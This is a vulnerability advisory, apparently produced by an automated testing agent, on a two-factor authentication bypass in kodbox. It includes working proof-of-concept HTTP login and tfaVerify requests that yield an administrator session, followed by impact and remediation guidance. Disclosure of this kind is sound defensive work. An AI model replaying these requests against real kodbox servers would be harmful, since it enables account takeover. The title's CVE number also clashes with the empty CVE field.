【CVE-2026-4592】Pre-Auth 2FA Bypass via withTfa / wiotTfa Logic Leading to Password-Only Login
Vulnerability ID: VPLUS-2026-14342
Product: kodbox (https://github.com/kalcaddle/kodbox)
Severity: High
Vulnerability Type: V08 – Logic Vulnerability
Authentication: Pre-Auth (bypass occurs at login stage)
Confidence: 99%
Status: Confirmed
CVSS: 9.1
CVE: –
Discovery Time: 2026-03-02 04:38:14
Affected Component / Endpoints
File:
/workspace/source-code/plugins/client/controller/tfa/index.class.phpFunctions:
loginAfter,tfaVerify(around line 22)Relevant endpoints:
Login:
GET/POST /?user/index/loginSubmit2FA verify:
GET /?plugin/client/tfa&action=tfaVerify
Technical Description / Root Cause
Two independent logic flaws in the 2FA flow allow full login with only username and password, even when 2FA is enabled (tfaOpen=1):
withTfaclient parameter controls whether 2FA is enforced (Variant A):After password authentication, the plugin’s
loginAfter()decides whether to go into 2FA challenge mode based on a client-supplied parameterwithTfa.Behavior:
If
withTfa=0is explicitly provided,loginAfter()returns a 2FA challenge payload (tfaOpen,tfaType, etc.) and does not issue an access token.If
withTfais omitted,loginAfter()treats the login as completed and skips 2FA entirely, directly issuing a valid access token.
Result: even when
tfaOpen=1, a client that simply does not sendwithTfareceives a full session (token) based only on username and password.
wiotTfabypasses 2FA verification intfaVerify()(Variant B):When a user is placed into 2FA pending status (e.g., by logging in with
withTfa=0), they are expected to calltfaVerify()and provide the correct 2FA code.However,
tfaVerify()contains a special branch forwiotTfa=1(again, fully controlled by the client).If
wiotTfa=1is present, the code path skips any validation of the 2FA code and callsloginSuccessUpdate()directly, completing the login.No OTP/TOTP/email/SMS code is required in this branch.
Both paths are pre-authentication logic issues and allow an attacker who knows only a valid username and password (or has guessed/stolen them) to log in successfully without providing any second factor, despite 2FA being enabled for that account.
Attack Vectors
Variant A – Omit withTfa to skip 2FA entirely
Admin enables 2FA globally:
Log in as admin and set:
<JSON>{"tfaOpen":"1","tfaType":"email,phone"}via:
<HTTP>POST /?admin/setting/set&accessToken=<admin_token>data={"tfaOpen":"1","tfaType":"email,phone"}
Attacker logs in using only username and password, without
withTfa:<HTTP>GET /?user/index/loginSubmit&name=admin&password=Admin@2024!Response (simplified):
<JSON>{"code": true,"data": "ok","info": "<accessToken>"}The presence of a non-empty
infotoken (token_len=82) shows that a full session has been issued; 2FA was not enforced.
Validate session:
<HTTP>GET /?user/view/options&accessToken=<accessToken>Response confirms administrator identity:
<TEXT>userID=1isRoot=1name=adminFor comparison, if the client explicitly sends
withTfa=0:<HTTP>GET /?user/index/loginSubmit&name=admin&password=Admin@2024!&withTfa=0The response only contains 2FA challenge data:
<JSON>{"code": true,"data": {"userID": 1,"tfaOpen": 1,"tfaType": "phone,email","type": "email","input": "adm***example.com"},"info": ""}infois empty (challenge_token_len=0), meaning no session is created until 2FA is completed. This demonstrates that 2FA enforcement depends entirely on the client’swithTfaparameter, which is insecure.
Variant B – Use wiotTfa=1 to bypass code verification
Enable 2FA as above.
Trigger pending 2FA state with
withTfa=0:<HTTP>GET /?user/index/loginSubmit&name=admin&password=Admin@2024!&withTfa=0Response indicates 2FA is required:
<JSON>{"code": true,"data": {"userID": 1,"tfaOpen": 1,"tfaType": "phone,email","type": "email","input": "adm***example.com"}}Bypass verification by calling
tfaVerifywithwiotTfa=1, without providing any 2FA code:<HTTP>GET /?plugin/client/tfa&action=tfaVerify&wiotTfa=1&userID=1&tfaIn={"name":"admin","password":"Admin@2024!"}Response:
<JSON>{"code": true,"data": "登录成功!"}This shows
tfaVerify()completed login without verifying any OTP.Confirm the session:
<HTTP>GET /?user/view/optionsResponse:
<TEXT>userID=1isRoot=1name=adminagain confirming administrator login with no second-factor code.
Impact
Complete 2FA bypass for accounts with 2FA enabled:
Any attacker with valid username and password can log in exactly as if 2FA were disabled, by either omitting
withTfaor usingwiotTfa=1.
Pre-authentication impact:
The bypass occurs in the login flow before a session is established; it directly undermines the primary purpose of 2FA (mitigating stolen/guessed passwords).
Privilege escalation and account takeover:
Admin accounts (e.g.,
userID=1,isRoot=1) can be fully compromised using only credentials, even where 2FA is intended as a mandatory protection.
Defense degradation:
Organizations relying on 2FA to protect high-value accounts gain no effective protection; attackers can ignore the second factor.
Duplicate Check
A duplicate search via:
GET /api/v1/agent/report/vulns?exclude_vuln_id=VPLUS-2026-14342
and cross-check on title/attack vector/file path found no existing vulnerabilities targeting plugins/client/controller/tfa/index.class.php::loginAfter or involving the withTfa / wiotTfa parameters.
The agent reproduced the PoC on http://192.168.200.57:80, confirming:
With
tfaOpen=1, a login withoutwithTfareturnscode=trueand a valid token (token_len=82) and allows readinguserID=1,isRoot=1,name=admin.With
withTfa=0, only challenge info is returned and no token is issued.
This confirms a stable, pre-auth 2FA bypass and that the issue is not a duplicate.
Remediation Recommendations
Enforce 2FA entirely server-side when
tfaOpen=1:When 2FA is enabled for a user, the server must always require a second factor after successful password verification.
The client-supplied
withTfaparameter must not control whether 2FA is enforced.
Remove or strictly control the
wiotTfabypass:Eliminate the
wiotTfa-based shortcut, or restrict it to a trusted internal context that is not exposed to end users.Any successful
tfaVerifypath must be contingent on server-side verification of a valid 2FA code (OTP/TOTP/email/SMS).
Introduce a secure, one-time challenge flow:
After password validation:
Generate a short-lived challenge ID tied to:
User ID,
Username,
Session/Client ID,
IP (optional),
Expiration time.
Only issue a full session/token after a valid OTP is verified against that challenge.
Ensure the challenge cannot be reused and that codes are one-time and strictly time-bounded.
Strengthen tests and code clarity:
Add regression tests covering both:
Logins without
withTfawhen 2FA is enabled.tfaVerifycalls with and without valid codes, including attempts to usewiotTfa.
Make 2FA enforcement rules explicit in the code (e.g., central “mustEnforceTfa(user)” check) to avoid future bypasses via auxiliary parameters.